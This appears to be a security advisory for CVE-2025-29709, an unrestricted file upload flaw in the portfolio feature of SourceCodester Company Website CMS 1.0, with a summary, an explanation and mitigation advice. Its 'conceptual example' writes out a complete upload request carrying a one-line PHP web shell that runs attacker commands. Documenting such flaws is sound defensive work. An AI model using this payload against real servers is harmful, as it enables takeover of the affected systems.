CVE-2025-29709: High-Risk File Upload Vulnerability in SourceCodester Company Website CMS 1.0

Overview

SourceCodester Company Website CMS 1.0 is plagued with a high-risk vulnerability, specifically identified as CVE-2025-29709. This vulnerability affects the “Create portfolio” file located in the /dashboard/portfolio directory, making the system susceptible to unauthorized file upload exploits. Any organization or individual using the said CMS version should be acutely aware of this vulnerability, as its exploitation may result in significant system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-29709
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

SourceCodester Company Website CMS | 1.0

How the Exploit Works

The vulnerability originates from an insufficient check of uploaded files within the “Create portfolio” feature. This lack of adequate verification allows an attacker to upload arbitrary files, including malicious scripts, directly onto the server. Once the file has been uploaded, the attacker can execute it, potentially leading to full control over the server or resulting in data leakage.

Conceptual Example Code

Here’s a conceptual example of a malicious file upload exploiting this vulnerability:

POST /dashboard/portfolio HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="portfolio"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, a malicious PHP file (`exploit.php`) that allows arbitrary command execution is uploaded. Once this file is uploaded and executed on the server, the attacker can gain control over the system.

Mitigation Measures

The most effective solution to mitigate this vulnerability is to apply a vendor-supplied patch. If such a patch is not available, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide a temporary mitigation. These systems can be configured to detect and block suspicious file uploads, diminishing the risk of exploitation. Additionally, regular monitoring and logging of server activity can help in early detection of any potential exploitation attempts.